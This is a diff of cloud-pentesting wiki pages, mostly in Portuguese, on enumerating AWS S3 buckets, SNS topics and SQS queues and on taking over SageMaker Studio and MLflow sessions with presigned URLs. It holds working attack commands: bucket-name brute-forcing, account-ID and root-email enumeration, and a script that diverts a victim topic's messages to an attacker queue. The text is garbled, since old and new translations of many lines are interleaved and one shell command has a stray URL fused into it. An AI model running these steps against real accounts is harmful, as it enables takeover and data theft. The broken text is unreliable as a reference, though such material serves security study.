Diferentes métodos para encontrar quando uma página da web está usando AWS para armazenar alguns recursos:
Diferentes métodos para descobrir quando uma página web está usando AWS para armazenar alguns recursos:
#### Enumeração & OSINT:
#### Enumeration & OSINT:
- Usando o plugin de navegador **wappalyzer**
- Usando burp (**spidering** a web) ou navegando manualmente pela página, todos os **recursos** **carregados** serão salvos no Histórico.
- **Verifique os recursos** em domínios como:
- Usando burp (**spidering** a web) ou navegando manualmente pela página — todos os **resources** **loaded** serão salvos no History.
- **Verifique por resources** em domínios como:
```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
```
- Verifique por **CNAMES** como `resources.domain.com` que pode ter o CNAME `bucket.s3.amazonaws.com`
- **[s3dns](https://github.com/olizimmermann/s3dns)** – Um servidor DNS leve que identifica passivamente buckets de armazenamento em nuvem (S3, GCP, Azure) analisando o tráfego DNS. Ele detecta CNAMEs, segue cadeias de resolução e combina padrões de buckets, oferecendo uma alternativa silenciosa à descoberta por força bruta ou baseada em API. Perfeito para fluxos de trabalho de recon e OSINT.
- Verifique por **CNAMES** já que `resources.domain.com` pode ter o CNAME `bucket.s3.amazonaws.com`
- **[s3dns](https://github.com/olizimmermann/s3dns)** – Um servidor DNS leve que identifica passivamente cloud storage buckets (S3, GCP, Azure) analisando o tráfego DNS. Detecta CNAMEs, segue cadeias de resolução e casa padrões de bucket, oferecendo uma alternativa silenciosa ao brute-force ou à descoberta via API. Perfeito para fluxos de trabalho de recon e OSINT.
- Verifique [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), um site com **buckets abertos já descobertos**.
- O **nome do bucket** e o **nome do domínio do bucket** precisam ser **os mesmos.**
- **flaws.cloud** está no **IP** 52.92.181.107 e se você for lá, ele redireciona você para [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Além disso, `dig -x 52.92.181.107` retorna `s3-website-us-west-2.amazonaws.com`.
- Para verificar se é um bucket, você também pode **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
- O **bucket name** e o **bucket domain name** precisam ser **os mesmos.**
- **flaws.cloud** está no **IP** 52.92.181.107 e se você for lá ele redireciona para [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Além disso, `dig -x 52.92.181.107` retorna `s3-website-us-west-2.amazonaws.com`.
- Para verificar que é um bucket você também pode **visitar** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
#### Força Bruta
#### Brute-Force
Você pode encontrar buckets **forçando nomes** relacionados à empresa que você está testando:
Você pode encontrar buckets fazendo **brute-force nos nomes** relacionados à empresa que você está pentesting:
- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contém uma lista com nomes de buckets potenciais)
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
@@ -46,47 +46,47 @@ Você pode encontrar buckets **forçando nomes** relacionados à empresa que voc
- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
<pre class="language-bash"><code class="lang-bash"># Gerar uma lista de palavras para criar permutações
<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
# Gerar uma lista de palavras com base nos domínios e subdomínios a serem testados
## Escreva esses domínios e subdomínios em subdomains.txt
# Generate a wordlist based on the domains and subdomains to test
## Write those domains and subdomains in subdomains.txt
cat subdomains.txt > /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
# Criar permutações com base em uma lista com os domínios e subdomínios a serem atacados
# Create permutations based in a list with the domains and subdomains to attack
goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
## A ferramenta anterior é especializada em criar permutações para subdomínios, vamos filtrar essa lista
<strong>### Remover linhas que terminam com "."
## The previous tool is specialized increating permutations for subdomains, lets filter that list
<strong>### Remove lines ending with "."
</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
### Criar lista sem TLD
### Create list without TLD
cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
### Criar lista sem pontos
### Create list without dots
cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
### Criar lista sem hífens
### Create list without hyphens
cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
## Gerar a lista de palavras final
## Generate the final wordlist
cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
## Chamar s3scanner
## Call s3scanner
s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
</code></pre>
#### Saque de Buckets S3
#### Loot S3 Buckets
Dado buckets S3 abertos, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) pode automaticamente **procurar informações interessantes**.
Dado buckets S3 abertos, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) pode automaticamente **buscar informações interessantes**.
### Encontrar a Região
### Find the Region
Você pode encontrar todas as regiões suportadas pela AWS em [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
#### Por DNS
#### By DNS
Você pode obter a região de um bucket com um **`dig`** e **`nslookup`** fazendo uma **solicitação DNS do IP descoberto**:
Você pode obter a região de um bucket com `dig` e `nslookup` fazendo uma **requisição DNS do IP descoberto**:
```bash
dig flaws.cloud
;; ANSWER SECTION:
@@ -98,21 +98,21 @@ Non-authoritative answer:
```
Verifique se o domínio resolvido contém a palavra "website".\
Você pode acessar o site estático indo para: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
ou pode acessar o bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com`
ou você pode acessar o bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com`
#### Tentando
#### Ao Tentar
Se você tentar acessar um bucket, mas no **nome do domínio você especificar outra região** (por exemplo, o bucket está em `bucket.s3.amazonaws.com`, mas você tenta acessar `bucket.s3-website-us-west-2.amazonaws.com`), então você será **indicado para o local correto**:
Se você tentar acessar um bucket, mas no **nome de domínio você especificar outra região** (por exemplo o bucket está em `bucket.s3.amazonaws.com` mas você tenta acessar `bucket.s3-website-us-west-2.amazonaws.com`), então você será **indicado para a localização correta**:
![](<../../../images/image (106).png>)
### Enumerando o bucket
Para testar a abertura do bucket, um usuário pode simplesmente inserir a URL em seu navegador. Um bucket privado responderá com "Acesso Negado". Um bucket público listará os primeiros 1.000 objetos que foram armazenados.
Para testar a abertura do bucket, um usuário pode simplesmente inserir a URL no navegador. Um bucket privado responderá com "Access Denied". Um bucket público listará os primeiros 1.000 objetos que foram armazenados.
Aberto para todos:
Aberto a todos:
![](<../../../images/image (201).png>)
@@ -128,16 +128,16 @@ Você também pode verificar isso com o cli:
#Opcionally you can select the region if you now it
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
```
Se o bucket não tiver um nome de domínio, ao tentar enumerá-lo, **coloque apenas o nome do bucket** e não o domínio completo do AWSs3. Exemplo: `s3://<BUCKETNAME>`
Se o bucket não tiver um nome de domínio, ao tentar enumerá-lo, **coloque apenas o nome do bucket** e não todo o domínio AWSs3. Exemplo: `s3://<BUCKETNAME>`
### Modelo de URL pública
```
https://{user_provided}.s3.amazonaws.com
```
### Obter ID da Conta a partir de um Bucket público
### Obter Account ID de um Bucket público
É possível determinar uma conta AWS aproveitando a nova **`S3:ResourceAccount`** **Chave de Condição de Política**. Esta condição **restrige o acesso com base no bucket S3** em que uma conta está (outras políticas baseadas em conta restringem com base na conta em que o principal solicitante está).\
E como a política pode conter **coringas**, é possível encontrar o número da conta **apenas um número por vez**.
É possível determinar uma conta AWS aproveitando a nova **`S3:ResourceAccount`** **Policy Condition Key**. Esta condição **restringe o acesso com base no S3 bucket** em que uma conta está (outras policies baseadas em conta restringem com base na conta em que o principal solicitante está).\
E, porque a policy pode conter **wildcards**, é possível descobrir o número da conta **apenas um dígito por vez**.
Esta ferramenta automatiza o processo:
```bash
@@ -149,11 +149,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
# With an object
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
```
Essa técnica também funciona com URLs do API Gateway, URLs do Lambda, conjuntos de dados do Data Exchange e até mesmo para obter o valor de tags (se você souber a chave da tag). Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
Esta técnica também funciona com API Gateway URLs, Lambda URLs, Data Exchange data sets e até para obter o valor de tags (se você souber a chave da tag). Você pode encontrar mais informações na [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
### Confirmando que um bucket pertence a uma conta AWS
Como explicado em [**este post do blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, se você tiver permissões para listar um bucket** é possível confirmar um accountID ao qual o bucket pertence enviando uma solicitação como:
Como explicado em [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, se você tiver permissões para listar um bucket** é possível confirmar o accountID ao qual o bucket pertence enviando uma requisição como:
```bash
curl -X GET "[bucketname].amazonaws.com/" \
-H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -161,11 +161,11 @@ curl -X GET "[bucketname].amazonaws.com/" \
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
```
Se o erro for "Acesso Negado", isso significa que o ID da conta estava errado.
Se o erro for “Access Denied”, isso significa que o account ID estava errado.
### Emails usados como enumeração de conta root
### Emails usados para enumeração de contas root
Como explicado em [**este post do blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), é possível verificar se um endereço de e-mail está relacionado a alguma conta AWS **tentando conceder permissões a um e-mail** sobre um bucket S3 via ACLs. Se isso não gerar um erro, significa que o e-mail é um usuário root de alguma conta AWS:
Como explicado em [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), é possível verificar se um endereço de email está relacionado a alguma conta AWS ao **tentar conceder permissões a um email** sobre um bucket S3 via ACLs. Se isso não gerar um erro, significa que o email é um usuário root de alguma conta AWS:
```python
s3_client.put_bucket_acl(
Bucket=bucket_name,
@@ -186,9 +186,9 @@ AccessControlPolicy={
}
)
```
## Referências
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

108
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,108 @@
# AWS - SageMaker Acesso Não Autorizado
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker Studio - Tomada de Conta via CreatePresignedDomainUrl (Impersonar qualquer UserProfile)
### Description
Uma identidade com permissão para chamar `sagemaker:CreatePresignedDomainUrl` em um `UserProfile` alvo do Studio pode gerar uma URL de login que autentica diretamente no SageMaker Studio como esse perfil. Isso concede ao navegador do atacante uma sessão do Studio que herda as permissões do `ExecutionRole` do perfil e acesso total ao home do perfil suportado por EFS e aos apps. Não é necessário `iam:PassRole` nem acesso ao console.
### Requirements
- Um SageMaker Studio `Domain` e um `UserProfile` alvo dentro dele.
- O principal atacante precisa de `sagemaker:CreatePresignedDomainUrl` no `UserProfile` alvo (nível de recurso) ou `*`.
Minimal policy example (scoped to one UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
### Etapas de Abuso
1) Enumerar um Studio Domain e UserProfiles que você pode ter como alvo
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) Gerar uma URL pré-assinada (válida por ~5 minutos por padrão)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
3) Abra a URL retornada em um navegador para entrar no Studio como o usuário alvo. Em um terminal Jupyter dentro do Studio, verifique a identidade efetiva:
```bash
aws sts get-caller-identity
```
Notas:
- `--landing-uri` pode ser omitido. Alguns valores (por exemplo, `app:JupyterLab:/lab`) podem ser rejeitados dependendo da variante/versão do Studio; os padrões normalmente redirecionam para a home do Studio e depois para o Jupyter.
- Políticas da organização/restrições de endpoint VPC ainda podem bloquear o acesso à rede; a emissão do token não requer login no console ou `iam:PassRole`.
### Impacto
- Movimento lateral e escalada de privilégios ao assumir qualquer Studio `UserProfile` cujo ARN seja permitido, herdando seu `ExecutionRole` e sistema de arquivos/apps.
### Evidência (de um teste controlado)
- Com apenas `sagemaker:CreatePresignedDomainUrl` no `UserProfile` alvo, the attacker role retornou com sucesso um `AuthorizedUrl` como:
```
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
```
- Uma requisição HTTP direta responde com um redirecionamento (HTTP 302) para Studio, confirmando que a URL é válida e ativa até expirar.
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
### Descrição
Uma identidade com permissão para chamar `sagemaker:CreatePresignedMlflowTrackingServerUrl` para um SageMaker MLflow Tracking Server alvo pode gerar uma URL presignada de uso único que autentica diretamente na UI gerenciada do MLflow desse servidor. Isso concede o mesmo acesso que um usuário legítimo teria ao servidor (visualizar/criar experimentos e execuções, e baixar/enviar artefatos no repositório S3 do servidor) sem acesso ao console ou `iam:PassRole`.
### Requisitos
- Um SageMaker MLflow Tracking Server na conta/região e o seu nome.
- O principal atacante precisa de `sagemaker:CreatePresignedMlflowTrackingServerUrl` no recurso MLflow Tracking Server alvo (ou `*`).
Exemplo de política mínima (limitada a um Tracking Server):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
}
]
}
```
### Etapas de Abuso
1) Enumere os MLflow Tracking Servers que você pode atingir e escolha um nome
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) Gerar uma URL pré-assinada do MLflow UI (válida por um curto período)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--expires-in-seconds 300 \
--session-expiration-duration-in-seconds 1800 \
--query AuthorizedUrl --output text
```
3) Abra a URL retornada em um navegador para acessar o MLflow UI como um usuário autenticado desse Tracking Server.
Notes:
- O Tracking Server deve estar em um estado pronto (por exemplo, `Created/Active`). Se ainda estiver `Creating`, a chamada será rejeitada.
- A presigned URL é de uso único e de curta duração; gere uma nova quando necessário.
### Impacto
- Acesso direto ao MLflow UI gerenciado do Tracking Server alvo, permitindo visualizar e modificar experiments/runs e recuperar ou enviar artefatos armazenados no S3 artifact store configurado no servidor, dentro das permissões impostas pela configuração do servidor.
{{#include ../../../../banners/hacktricks-training.md}}

21
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
View File

@@ -1,21 +0,0 @@
# AWS - SNS Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
## SNS
Para mais informações sobre SNS, consulte:
{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}
### Aberto para Todos
Quando você configura um tópico SNS a partir do console da web, é possível indicar que **Todos podem publicar e se inscrever** no tópico:
<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
Portanto, se você **encontrar o ARN dos tópicos** dentro da conta (ou forçar nomes potenciais para tópicos), você pode **verificar** se pode **publicar** ou **se inscrever** neles.
{{#include ../../../banners/hacktricks-training.md}}

55
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,55 @@
# AWS - SNS Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
## SNS
Para mais informações sobre SNS consulte:
{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}
### Aberto a todos
Quando você configura um tópico SNS pelo console web, é possível indicar que **Todos podem publicar e se inscrever** no tópico:
<figure><img src="../../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
Portanto, se você **encontrar o ARN dos tópicos** dentro da conta (ou brute forcing nomes potenciais de tópicos) você pode **verificar** se consegue **publicar** ou **se inscrever** neles.
Isso seria equivalente a uma política de recurso do tópico SNS permitindo `sns:Subscribe` para `*` (ou para contas externas); qualquer principal pode criar uma assinatura que entrega todas as mensagens futuras do tópico para uma fila SQS que possua. Quando o proprietário da fila inicia a assinatura, nenhuma confirmação humana é requerida para endpoints SQS.
<details>
<summary>Reprodução (us-east-1)</summary>
```bash
REGION=us-east-1
# Victim account (topic owner)
VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)
# Open the topic to anyone subscribing
cat > /tmp/topic-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
JSON
aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json
# Attacker account (queue owner)
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Allow the victim topic to send to the attacker queue
cat > /tmp/sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
JSON
aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"
# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)
# Validation: publish and receive
aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

21
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
View File

@@ -1,21 +0,0 @@
# AWS - SQS Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
## SQS
Para mais informações sobre SQS, consulte:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### Modelo de URL Pública
```
https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
```
### Verificar Permissões
É possível configurar incorretamente uma política de fila SQS e conceder permissões a todos na AWS para enviar e receber mensagens, então se você obtiver o ARN das filas, tente ver se consegue acessá-las.
{{#include ../../../banners/hacktricks-training.md}}

21
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,21 @@
# AWS - SQS Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
## SQS
Para mais informações sobre SQS, consulte:
{{#ref}}
../../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### Modelo de URL público
```
https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
```
### Verificar permissões
É possível configurar incorretamente uma SQS queue policy e conceder permissões a todos na AWS para enviar e receber mensagens, então se você obtiver o ARN das filas tente verificar se consegue acessá-las.
{{#include ../../../../banners/hacktricks-training.md}}